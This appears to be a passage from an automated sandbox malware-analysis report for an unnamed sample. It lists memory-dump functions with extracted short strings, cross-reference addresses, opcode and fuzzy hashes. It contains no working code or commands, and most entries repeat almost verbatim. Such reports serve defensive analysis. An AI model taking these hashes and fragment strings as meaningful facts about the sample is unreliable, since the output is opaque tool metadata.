;, xrefs: 018F1C6E
-, xrefs: 018F25F4
D, xrefs: 018F1AB4
N, xrefs: 018F206C
M, xrefs: 018F23C4
,, xrefs: 018F19B4
F, xrefs: 018F197E
., xrefs: 018F24A8
6, xrefs: 018F1FAA
CTcB, xrefs: 018F1AD6
(, xrefs: 018F2002
#, xrefs: 018F2474
_, xrefs: 018F20C4
@, xrefs: 018F1E90
:, xrefs: 018F2344
S, xrefs: 018F2566
S, xrefs: 018F2028
b, xrefs: 018F1D3E
O, xrefs: 018F1882
C, xrefs: 018F1826
&, xrefs: 018F1CE4
a, xrefs: 018F1F8E
*, xrefs: 018F208C
?L9B, xrefs: 018F1C50
\, xrefs: 018F17FE
J, xrefs: 018F2058
E, xrefs: 018F1B70
', xrefs: 018F1B7A
!UnB, xrefs: 018F2076
X, xrefs: 018F19E0
], xrefs: 018F1AE0
,{>, xrefs: 018F26CA
^, xrefs: 018F17B6
2, xrefs: 018F217C
\, xrefs: 018F1CF8
3%%A, xrefs: 018F1A16
A, xrefs: 018F19F4
\, xrefs: 018F200C
L, xrefs: 018F16A2
Pz+B, xrefs: 018F2468
U, xrefs: 018F2202
|>XA, xrefs: 018F1783
H, xrefs: 018F1EB2

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!$!UnB$#$&$'$'$($*$,$,{>$-$.$1$2$2$3%%A$5$6$8$:$;$;$?L9B$@$@$A$C$C$CTcB$D$E$E$F$G$G{B$H$J$J$L$M$N$O$Pz+B$Q$Q$R$S$S$T$U$U$X$X$Z$\$\$\$]$^$_$_$a$b$z#GB$|>XA
API String ID: 0-4104857803
Opcode ID: f582f594adf174cc7fa68f587fa2b29e0265c5449e2cc5656b74734b3a2dab15
Instruction ID: 62cddbabbaa0d7c4f3f57ffc72790682056c9857b3f37f8ce92c3a305b97c7ed
Opcode Fuzzy Hash: f582f594adf174cc7fa68f587fa2b29e0265c5449e2cc5656b74734b3a2dab15
Instruction Fuzzy Hash: 26C2B3B4D056298FDB64CF6AC94479AFBB2FB89305F0491E9D50CAB250DB798EC18F04

Function 018F1520 Relevance: 83.6, Strings: 66, Instructions: 1065
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X, xrefs: 018F1CCE
G{B, xrefs: 018F1E38
Q, xrefs: 018F2016
J, xrefs: 018F2600
G, xrefs: 018F1D12
C, xrefs: 018F1BFC
1, xrefs: 018F18FC
T, xrefs: 018F1FB4
U, xrefs: 018F2588
R, xrefs: 018F1BA4
8, xrefs: 018F1C2C
!, xrefs: 018F1E42
!, xrefs: 018F2368
2, xrefs: 018F2594
z#GB, xrefs: 018F21B2
', xrefs: 018F184E
;, xrefs: 018F1EE0
E, xrefs: 018F1CB2
_, xrefs: 018F1CEE
Q, xrefs: 018F1898
5, xrefs: 018F1DD4
Z, xrefs: 018F1BE8
@, xrefs: 018F2102
;, xrefs: 018F1C6E
-, xrefs: 018F25F4
D, xrefs: 018F1AB4
N, xrefs: 018F206C
M, xrefs: 018F23C4
,, xrefs: 018F19B4
F, xrefs: 018F197E
., xrefs: 018F24A8
6, xrefs: 018F1FAA
CTcB, xrefs: 018F1AD6
(, xrefs: 018F2002
#, xrefs: 018F2474
_, xrefs: 018F20C4
@, xrefs: 018F1E90
:, xrefs: 018F2344
S, xrefs: 018F2566
S, xrefs: 018F2028
b, xrefs: 018F1D3E
O, xrefs: 018F1882
C, xrefs: 018F1826
&, xrefs: 018F1CE4
a, xrefs: 018F1F8E
*, xrefs: 018F208C
?L9B, xrefs: 018F1C50
\, xrefs: 018F17FE
J, xrefs: 018F2058
E, xrefs: 018F1B70
', xrefs: 018F1B7A
!UnB, xrefs: 018F2076
X, xrefs: 018F19E0
], xrefs: 018F1AE0
,{>, xrefs: 018F26CA
^, xrefs: 018F17B6
2, xrefs: 018F217C
\, xrefs: 018F1CF8
3%%A, xrefs: 018F1A16
A, xrefs: 018F19F4
\, xrefs: 018F200C
L, xrefs: 018F16A2
Pz+B, xrefs: 018F2468
U, xrefs: 018F2202
|>XA, xrefs: 018F1783
H, xrefs: 018F1EB2

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!$!UnB$#$&$'$'$($*$,$,{>$-$.$1$2$2$3%%A$5$6$8$:$;$;$?L9B$@$@$A$C$C$CTcB$D$E$E$F$G$G{B$H$J$J$L$M$N$O$Pz+B$Q$Q$R$S$S$T$U$U$X$X$Z$\$\$\$]$^$_$_$a$b$z#GB$|>XA
API String ID: 0-4104857803
Opcode ID: 3d0d717b71d9f40d50deb02803daa9e3966af147e71c02a5ad20e4c325f2f35b
Instruction ID: bc27569befea183294dfa1771ce127fea6f56e59015860d7bb5630e134768551
Opcode Fuzzy Hash: 3d0d717b71d9f40d50deb02803daa9e3966af147e71c02a5ad20e4c325f2f35b
Instruction Fuzzy Hash: E0B2A2B4D056298FDB64CF6ADD4479AFAB2FB89305F0091E9950CBB250DB794EC18F08

Function 015F74B0 Relevance: 83.5, Strings: 66, Instructions: 1002
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 015F7C24
2, xrefs: 015F8174
S, xrefs: 015F855E
T, xrefs: 015F7FAC
A, xrefs: 015F79EC
CTcB, xrefs: 015F7ACE
N, xrefs: 015F8064
\, xrefs: 015F7CF0
-, xrefs: 015F85EC
M, xrefs: 015F83BC
!, xrefs: 015F8360
#, xrefs: 015F846C
6, xrefs: 015F7FA2
Z, xrefs: 015F7BE0
\, xrefs: 015F8004
G, xrefs: 015F7D0A
a, xrefs: 015F7F86
G{B, xrefs: 015F7E30
!UnB, xrefs: 015F806E
,{>, xrefs: 015F86C2
1, xrefs: 015F78F4
:, xrefs: 015F833C
', xrefs: 015F7B72
C, xrefs: 015F781E
(, xrefs: 015F7FFA
', xrefs: 015F7846
], xrefs: 015F7AD8
X, xrefs: 015F79D8
L, xrefs: 015F769A
D, xrefs: 015F7AAC
b, xrefs: 015F7D36
C, xrefs: 015F7BF4
^, xrefs: 015F77AE
&, xrefs: 015F7CDC
|>XA, xrefs: 015F777B
@, xrefs: 015F80FA
X, xrefs: 015F7CC6
;, xrefs: 015F7ED8
J, xrefs: 015F85F8
_, xrefs: 015F80BC
U, xrefs: 015F8580
?L9B, xrefs: 015F7C48
@, xrefs: 015F7E88
Q, xrefs: 015F7890
J, xrefs: 015F8050
3%%A, xrefs: 015F7A0E
F, xrefs: 015F7976
E, xrefs: 015F7B68
S, xrefs: 015F8020
., xrefs: 015F84A0
2, xrefs: 015F858C
_, xrefs: 015F7CE6
\, xrefs: 015F77F6
5, xrefs: 015F7DCC
E, xrefs: 015F7CAA
H, xrefs: 015F7EAA
Q, xrefs: 015F800E
!, xrefs: 015F7E3A
;, xrefs: 015F7C66
z#GB, xrefs: 015F81AA
U, xrefs: 015F81FA
*, xrefs: 015F8084
R, xrefs: 015F7B9C
Pz+B, xrefs: 015F8460
,, xrefs: 015F79AC
O, xrefs: 015F787A

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!$!UnB$#$&$'$'$($*$,$,{>$-$.$1$2$2$3%%A$5$6$8$:$;$;$?L9B$@$@$A$C$C$CTcB$D$E$E$F$G$G{B$H$J$J$L$M$N$O$Pz+B$Q$Q$R$S$S$T$U$U$X$X$Z$\$\$\$]$^$_$_$a$b$z#GB$|>XA
API String ID: 0-4104857803
Opcode ID: 34406a2ed062c2f005f3c1d68fb29ccb520cca0b66492d13bdc399141ef8c363
Instruction ID: e6207a03e14089467e276e086f243098e948a21412262550f266ed18c412e9b2
Opcode Fuzzy Hash: 34406a2ed062c2f005f3c1d68fb29ccb520cca0b66492d13bdc399141ef8c363
Instruction Fuzzy Hash: ABA2A2B5D056298FDB64CF6ADD4479AFAF2FB89305F00A0E9950CBB240D7794AC19F08

Function 018FB437 Relevance: 78.6, Strings: 62, Instructions: 1109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!B&B, xrefs: 018FBC56
A, xrefs: 018FB702
W, xrefs: 018FBC2C
OwaB, xrefs: 018FC15E
+, xrefs: 018FC0A2
URB, xrefs: 018FBCC2
b, xrefs: 018FBA9C
5, xrefs: 018FBC22
?, xrefs: 018FC296
R, xrefs: 018FB858
D, xrefs: 018FBB6C
K, xrefs: 018FB762
0, xrefs: 018FB5AC
a, xrefs: 018FC522
?, xrefs: 018FBD70
?, xrefs: 018FC560
U, xrefs: 018FBB92
W, xrefs: 018FB74C
R, xrefs: 018FC16A
%, xrefs: 018FB78A
3, xrefs: 018FC062
P, xrefs: 018FC578
/, xrefs: 018FBD02
:, xrefs: 018FBED0
A, xrefs: 018FC1E8
Q, xrefs: 018FC384
`, xrefs: 018FBE9C
7, xrefs: 018FBC36
", xrefs: 018FBB10
M, xrefs: 018FBC40
3, xrefs: 018FB928
<, xrefs: 018FB6CA
c, xrefs: 018FBEDA
J, xrefs: 018FC516
R, xrefs: 018FBAC6
$, xrefs: 018FC360
U, xrefs: 018FBF9C
b, xrefs: 018FB776
!, xrefs: 018FB5D1
a, xrefs: 018FBAE4
V, xrefs: 018FB950
3, xrefs: 018FB9A6
E, xrefs: 018FBC76
8, xrefs: 018FBFC2
>, xrefs: 018FC4D8
/, xrefs: 018FBAFE
/, xrefs: 018FB8AA
,, xrefs: 018FC2E4
6, xrefs: 018FB6D4
>, xrefs: 018FB810
;, xrefs: 018FB73A
O, xrefs: 018FB5A5
/, xrefs: 018FB6DE
@, xrefs: 018FB806
=, xrefs: 018FB690
B, xrefs: 018FC248
*, xrefs: 018FBFF2
1, xrefs: 018FBD18
2, xrefs: 018FB600
R, xrefs: 018FBF6E
5, xrefs: 018FC56C
', xrefs: 018FB862

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!B&B$"$$$%$'$*$+$,$/$/$/$/$0$1$2$3$3$3$5$5$6$7$8$:$;$<$=$>$>$?$?$?$@$A$A$B$D$E$J$K$M$O$OwaB$P$Q$R$R$R$R$U$U$URB$V$W$W$`$a$a$b$b$c
API String ID: 0-3206274378
Opcode ID: b3b52ea19fd15a66dc20513aad34af926ea975f67762d36d4c1ce8fc33fe0e4c
Instruction ID: 913fd4777fe671bf68b55aa13e0ee88a5d4d0b359ca99a271dea6eff9c342775
Opcode Fuzzy Hash: b3b52ea19fd15a66dc20513aad34af926ea975f67762d36d4c1ce8fc33fe0e4c
Instruction Fuzzy Hash: 24C2B3B4D456298FDB64DF29DD4479ABBB2FB99301F00A1E9940CB7240EB798EC18F04

Function 018F2F59 Relevance: 78.6, Strings: 62, Instructions: 1099
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 018F4007
R, xrefs: 018F3C4F
+, xrefs: 018F3B87
W, xrefs: 018F3231
URB, xrefs: 018F37A7
,, xrefs: 018F3DC9
R, xrefs: 018F35AB
/, xrefs: 018F31C3
?, xrefs: 018F3855
3, xrefs: 018F348B
U, xrefs: 018F3A81
2, xrefs: 018F30EB
A, xrefs: 018F3CCD
3, xrefs: 018F3B47
V, xrefs: 018F3435
M, xrefs: 018F3725
a, xrefs: 018F35C9
D, xrefs: 018F3651
$, xrefs: 018F3E45
7, xrefs: 018F371B
O, xrefs: 018F3090
1, xrefs: 018F37FD
>, xrefs: 018F3FBD
A, xrefs: 018F31E7
@, xrefs: 018F32EB
b, xrefs: 018F3581
/, xrefs: 018F338F
', xrefs: 018F3347
P, xrefs: 018F405D
3, xrefs: 018F340D
b, xrefs: 018F325B
5, xrefs: 018F3707
E, xrefs: 018F375B
B, xrefs: 018F3D2D
;, xrefs: 018F321F
U, xrefs: 018F3677
!, xrefs: 018F30BC
?, xrefs: 018F4045
5, xrefs: 018F4051
/, xrefs: 018F37E7
", xrefs: 018F35F5
*, xrefs: 018F3AD7
?, xrefs: 018F3D7B
K, xrefs: 018F3247
J, xrefs: 018F3FFB
R, xrefs: 018F3A53
0, xrefs: 018F3097
Q, xrefs: 018F3E69
<, xrefs: 018F31AF
W, xrefs: 018F3711
c, xrefs: 018F39BF
>, xrefs: 018F32F5
`, xrefs: 018F3981
OwaB, xrefs: 018F3C43
:, xrefs: 018F39B5
/, xrefs: 018F35E3
=, xrefs: 018F317B
R, xrefs: 018F333D
!B&B, xrefs: 018F373B
8, xrefs: 018F3AA7
%, xrefs: 018F326F
6, xrefs: 018F31B9

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!B&B$"$$$%$'$*$+$,$/$/$/$/$0$1$2$3$3$3$5$5$6$7$8$:$;$<$=$>$>$?$?$?$@$A$A$B$D$E$J$K$M$O$OwaB$P$Q$R$R$R$R$U$U$URB$V$W$W$`$a$a$b$b$c
API String ID: 0-3206274378
Opcode ID: 4728c32b7393bd07509c600fef358b73863509fa305880189dca06f658f77587
Instruction ID: 238acfe0662a96814dd58913b685c22780855b1968979e813d66332f4e01e2de
Opcode Fuzzy Hash: 4728c32b7393bd07509c600fef358b73863509fa305880189dca06f658f77587
Instruction Fuzzy Hash: E2C2A1B4D456298FDB64CF6AD944B9ABBB6FB59305F00A1E9940CB7340D7798EC08F08

Function 018F2F60 Relevance: 78.6, Strings: 62, Instructions: 1097
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 018F4007
R, xrefs: 018F3C4F
+, xrefs: 018F3B87
W, xrefs: 018F3231
URB, xrefs: 018F37A7
,, xrefs: 018F3DC9
R, xrefs: 018F35AB
/, xrefs: 018F31C3
?, xrefs: 018F3855
3, xrefs: 018F348B
U, xrefs: 018F3A81
2, xrefs: 018F30EB
A, xrefs: 018F3CCD
3, xrefs: 018F3B47
V, xrefs: 018F3435
M, xrefs: 018F3725
a, xrefs: 018F35C9
D, xrefs: 018F3651
$, xrefs: 018F3E45
7, xrefs: 018F371B
O, xrefs: 018F3090
1, xrefs: 018F37FD
>, xrefs: 018F3FBD
A, xrefs: 018F31E7
@, xrefs: 018F32EB
b, xrefs: 018F3581
/, xrefs: 018F338F
', xrefs: 018F3347
P, xrefs: 018F405D
3, xrefs: 018F340D
b, xrefs: 018F325B
5, xrefs: 018F3707
E, xrefs: 018F375B
B, xrefs: 018F3D2D
;, xrefs: 018F321F
U, xrefs: 018F3677
!, xrefs: 018F30BC
?, xrefs: 018F4045
5, xrefs: 018F4051
/, xrefs: 018F37E7
", xrefs: 018F35F5
*, xrefs: 018F3AD7
?, xrefs: 018F3D7B
K, xrefs: 018F3247
J, xrefs: 018F3FFB
R, xrefs: 018F3A53
0, xrefs: 018F3097
Q, xrefs: 018F3E69
<, xrefs: 018F31AF
W, xrefs: 018F3711
c, xrefs: 018F39BF
>, xrefs: 018F32F5
`, xrefs: 018F3981
OwaB, xrefs: 018F3C43
:, xrefs: 018F39B5
/, xrefs: 018F35E3
=, xrefs: 018F317B
R, xrefs: 018F333D
!B&B, xrefs: 018F373B
8, xrefs: 018F3AA7
%, xrefs: 018F326F
6, xrefs: 018F31B9

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!B&B$"$$$%$'$*$+$,$/$/$/$/$0$1$2$3$3$3$5$5$6$7$8$:$;$<$=$>$>$?$?$?$@$A$A$B$D$E$J$K$M$O$OwaB$P$Q$R$R$R$R$U$U$URB$V$W$W$`$a$a$b$b$c
API String ID: 0-3206274378
Opcode ID: 97224245b136c1d37fa2f20738a05773871d30c2ec553c400d6595b47ec85081
Instruction ID: 25d9288de20ed61015c9a15f2cb253032a28d61ddf6694b28a155f8f5c1bf248
Opcode Fuzzy Hash: 97224245b136c1d37fa2f20738a05773871d30c2ec553c400d6595b47ec85081
Instruction Fuzzy Hash: 54B2A1B4D056298FDB64CF6AD944B9ABBB6FB59305F00A1E9940CB7340D7799EC08F08

Function 018F5E00 Relevance: 78.6, Strings: 62, Instructions: 1063
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 018F62CD
c, xrefs: 018F68FD
7, xrefs: 018F6659
', xrefs: 018F6285
A, xrefs: 018F6125
R, xrefs: 018F6991
5, xrefs: 018F6F8F
D, xrefs: 018F658F
Q, xrefs: 018F6DA7
!, xrefs: 018F5FF1
R, xrefs: 018F6B8D
W, xrefs: 018F616F
5, xrefs: 018F6645
6, xrefs: 018F60F7
3, xrefs: 018F6A85
P, xrefs: 018F6F9B
b, xrefs: 018F64BF
/, xrefs: 018F6101
/, xrefs: 018F6725
8, xrefs: 018F69E5
a, xrefs: 018F6507
b, xrefs: 018F6199
;, xrefs: 018F615D
3, xrefs: 018F634B
!B&B, xrefs: 018F6679
M, xrefs: 018F6663
K, xrefs: 018F6185
OwaB, xrefs: 018F6B81
URB, xrefs: 018F66E5
>, xrefs: 018F6233
+, xrefs: 018F6AC5
2, xrefs: 018F6020
/, xrefs: 018F6521
$, xrefs: 018F6D83
=, xrefs: 018F60B3
1, xrefs: 018F673B
W, xrefs: 018F664F
?, xrefs: 018F6CB9
@, xrefs: 018F6229
B, xrefs: 018F6C6B
:, xrefs: 018F68F3
%, xrefs: 018F61AD
a, xrefs: 018F6F45
U, xrefs: 018F65B5
U, xrefs: 018F69BF
V, xrefs: 018F6373
R, xrefs: 018F627B
R, xrefs: 018F64E9
O, xrefs: 018F5FC5
>, xrefs: 018F6EFB
*, xrefs: 018F6A15
<, xrefs: 018F60ED
,, xrefs: 018F6D07
", xrefs: 018F6533
0, xrefs: 018F5FCC
E, xrefs: 018F6699
`, xrefs: 018F68BF
J, xrefs: 018F6F39
3, xrefs: 018F63C9
A, xrefs: 018F6C0B
?, xrefs: 018F6F83
?, xrefs: 018F6793

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!B&B$"$$$%$'$*$+$,$/$/$/$/$0$1$2$3$3$3$5$5$6$7$8$:$;$<$=$>$>$?$?$?$@$A$A$B$D$E$J$K$M$O$OwaB$P$Q$R$R$R$R$U$U$URB$V$W$W$`$a$a$b$b$c
API String ID: 0-3206274378
Opcode ID: 7fceb471256278b444607ade1756df825d7e3304a5bfd3e1c158bc93384d5e5c
Instruction ID: a6b8884faabcc12b360271726dc646d1b0a6e8dc6ea4c48c8c9719cbc1022551
Opcode Fuzzy Hash: 7fceb471256278b444607ade1756df825d7e3304a5bfd3e1c158bc93384d5e5c
Instruction Fuzzy Hash: B4B2B3B4D456298FDB64DF2ADD4479ABBB2FB89301F00A1E9940CB7250E7794EC18F08

Function 018F72E0 Relevance: 78.5, Strings: 62, Instructions: 1020
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!, xrefs: 018F7506
3, xrefs: 018F7860
R, xrefs: 018F7790
3, xrefs: 018F78DE
>, xrefs: 018F8410
=, xrefs: 018F75C8
R, xrefs: 018F79FE
J, xrefs: 018F844E
R, xrefs: 018F7EA6
M, xrefs: 018F7B78
A, xrefs: 018F8120
P, xrefs: 018F84B0
,, xrefs: 018F821C
>, xrefs: 018F7748
2, xrefs: 018F7535
%, xrefs: 018F76C2
/, xrefs: 018F7A36
*, xrefs: 018F7F2A
<, xrefs: 018F7602
B, xrefs: 018F8180
', xrefs: 018F779A
5, xrefs: 018F84A4
3, xrefs: 018F7F9A
A, xrefs: 018F763A
:, xrefs: 018F7E08
?, xrefs: 018F81CE
c, xrefs: 018F7E12
a, xrefs: 018F7A1C
O, xrefs: 018F74DA
?, xrefs: 018F8498
b, xrefs: 018F79D4
1, xrefs: 018F7C50
URB, xrefs: 018F7BFA
?, xrefs: 018F7CA8
b, xrefs: 018F76AE
U, xrefs: 018F7ED4
OwaB, xrefs: 018F8096
Q, xrefs: 018F82BC
", xrefs: 018F7A48
a, xrefs: 018F845A
/, xrefs: 018F7616
U, xrefs: 018F7ACA
W, xrefs: 018F7B64
@, xrefs: 018F773E
!B&B, xrefs: 018F7B8E
E, xrefs: 018F7BAE
8, xrefs: 018F7EFA
/, xrefs: 018F7C3A
V, xrefs: 018F7888
+, xrefs: 018F7FDA
6, xrefs: 018F760C
/, xrefs: 018F77E2
7, xrefs: 018F7B6E
W, xrefs: 018F7684
0, xrefs: 018F74E1
$, xrefs: 018F8298
D, xrefs: 018F7AA4
K, xrefs: 018F769A
`, xrefs: 018F7DD4
;, xrefs: 018F7672
5, xrefs: 018F7B5A
R, xrefs: 018F80A2

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!B&B$"$$$%$'$*$+$,$/$/$/$/$0$1$2$3$3$3$5$5$6$7$8$:$;$<$=$>$>$?$?$?$@$A$A$B$D$E$J$K$M$O$OwaB$P$Q$R$R$R$R$U$U$URB$V$W$W$`$a$a$b$b$c
API String ID: 0-3206274378
Opcode ID: 33e6aeb371e0a4333015d63bd54d03463565eb6d9b9b1907d77140956c9ccaba
Instruction ID: 7365f294a92f8d9625e78809da2ad2eee85ed9cb95cd686b31e3daf4c200af25
Opcode Fuzzy Hash: 33e6aeb371e0a4333015d63bd54d03463565eb6d9b9b1907d77140956c9ccaba
Instruction Fuzzy Hash: D6B2A4B5D456298FDB64DF2ADD4479ABBF1FB49301F04A1E9940CB7240E7798AC18F08

Function 018F72F0 Relevance: 78.5, Strings: 62, Instructions: 1017
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!, xrefs: 018F7506
3, xrefs: 018F7860
R, xrefs: 018F7790
3, xrefs: 018F78DE
>, xrefs: 018F8410
=, xrefs: 018F75C8
R, xrefs: 018F79FE
J, xrefs: 018F844E
R, xrefs: 018F7EA6
M, xrefs: 018F7B78
A, xrefs: 018F8120
P, xrefs: 018F84B0
,, xrefs: 018F821C
>, xrefs: 018F7748
2, xrefs: 018F7535
%, xrefs: 018F76C2
/, xrefs: 018F7A36
*, xrefs: 018F7F2A
<, xrefs: 018F7602
B, xrefs: 018F8180
', xrefs: 018F779A
5, xrefs: 018F84A4
3, xrefs: 018F7F9A
A, xrefs: 018F763A
:, xrefs: 018F7E08
?, xrefs: 018F81CE
c, xrefs: 018F7E12
a, xrefs: 018F7A1C
O, xrefs: 018F74DA
?, xrefs: 018F8498
b, xrefs: 018F79D4
1, xrefs: 018F7C50
URB, xrefs: 018F7BFA
?, xrefs: 018F7CA8
b, xrefs: 018F76AE
U, xrefs: 018F7ED4
OwaB, xrefs: 018F8096
Q, xrefs: 018F82BC
", xrefs: 018F7A48
a, xrefs: 018F845A
/, xrefs: 018F7616
U, xrefs: 018F7ACA
W, xrefs: 018F7B64
@, xrefs: 018F773E
!B&B, xrefs: 018F7B8E
E, xrefs: 018F7BAE
8, xrefs: 018F7EFA
/, xrefs: 018F7C3A
V, xrefs: 018F7888
+, xrefs: 018F7FDA
6, xrefs: 018F760C
/, xrefs: 018F77E2
7, xrefs: 018F7B6E
W, xrefs: 018F7684
0, xrefs: 018F74E1
$, xrefs: 018F8298
D, xrefs: 018F7AA4
K, xrefs: 018F769A
`, xrefs: 018F7DD4
;, xrefs: 018F7672
5, xrefs: 018F7B5A
R, xrefs: 018F80A2

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!B&B$"$$$%$'$*$+$,$/$/$/$/$0$1$2$3$3$3$5$5$6$7$8$:$;$<$=$>$>$?$?$?$@$A$A$B$D$E$J$K$M$O$OwaB$P$Q$R$R$R$R$U$U$URB$V$W$W$`$a$a$b$b$c
API String ID: 0-3206274378
Opcode ID: 5c1671e1b8eaf22172f5b6bae0463c373fc0346b49b62ed53ac4da86971ec720
Instruction ID: 28e86ae81ddab5c6039ba9e76262f277b1b5e8e4b188fa07da6dc023191d73e7
Opcode Fuzzy Hash: 5c1671e1b8eaf22172f5b6bae0463c373fc0346b49b62ed53ac4da86971ec720
Instruction Fuzzy Hash: 94B2B4B5D456298FEB64DF2ADD4479ABBF1FB49301F04A1E9940CB7240E7798AC18F08

Function 015FA449 Relevance: 2.8, Instructions: 2769COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2870f5ba0b97c23b608ee53666c008272cd83df142d1fbc08a7efc8bd081cc4
Instruction ID: ff1cb555a28b2ce49a9c8358d89e35e6f1b50b21878b60469466c915f3c3b8d5
Opcode Fuzzy Hash: f2870f5ba0b97c23b608ee53666c008272cd83df142d1fbc08a7efc8bd081cc4
Instruction Fuzzy Hash: EF531174E01219CFDB25DF68C898A9DBBB2BF89310F1585A9D6099B361DB30ED81CF50

Function 015F96F0 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1e5a6a31235024dac21ca18a8bde1e68d14af4e465e43db53cf53e5db63500a
Instruction ID: 9c076e64977bf8ca60d91441e916787f172d1c3b18b951c16d5779c9f8518c3b
Opcode Fuzzy Hash: e1e5a6a31235024dac21ca18a8bde1e68d14af4e465e43db53cf53e5db63500a
Instruction Fuzzy Hash: 16527C34A006159FDB19DF69C884B6EBBB2BF88714B15806DFA159B3A5CB31EC41CB90

Function 018F09C8 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a53e65d681f38f302308c99f3e4e2f090efb50bf009ac6d2306c28207e0626d1
Instruction ID: ebbf37609993b2f8a8445b88f80839dde2ea16ae929af55a8a5dba6ca7eb3381
Opcode Fuzzy Hash: a53e65d681f38f302308c99f3e4e2f090efb50bf009ac6d2306c28207e0626d1
Instruction Fuzzy Hash: 33D1D474B042598FDB19AF79982463E7BA7BFC8750B08842EE507DB39ADE34CD018791

Function 018F44A8 Relevance: 9.8, Strings: 7, Instructions: 1097
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A{LB, xrefs: 018F4668
jbA, xrefs: 018F4C86
.@2A, xrefs: 018F50EF
qy=B, xrefs: 018F5914
jA, xrefs: 018F4715
kB, xrefs: 018F4900
u3B, xrefs: 018F4E8A

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: .@2A$A{LB$jbA$qy=B$jA$u3B$kB
API String ID: 0-501097176
Opcode ID: 8c33e7a72ae224d96e94db6b0fc275d158e91266ff14088f201ca6754e3c4dc5
Instruction ID: a4652e8a30865ba327aba02693b68d9183a9addba2f010a33eb47cde62a43cc1
Opcode Fuzzy Hash: 8c33e7a72ae224d96e94db6b0fc275d158e91266ff14088f201ca6754e3c4dc5
Instruction Fuzzy Hash: 71E2A5B4A0024ACFDB05CF98D489FEEBFB1FB45314F0552A8D6046B326D7B5A985CB90

Function 018F44B8 Relevance: 9.8, Strings: 7, Instructions: 1090
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A{LB, xrefs: 018F4668
jbA, xrefs: 018F4C86
.@2A, xrefs: 018F50EF
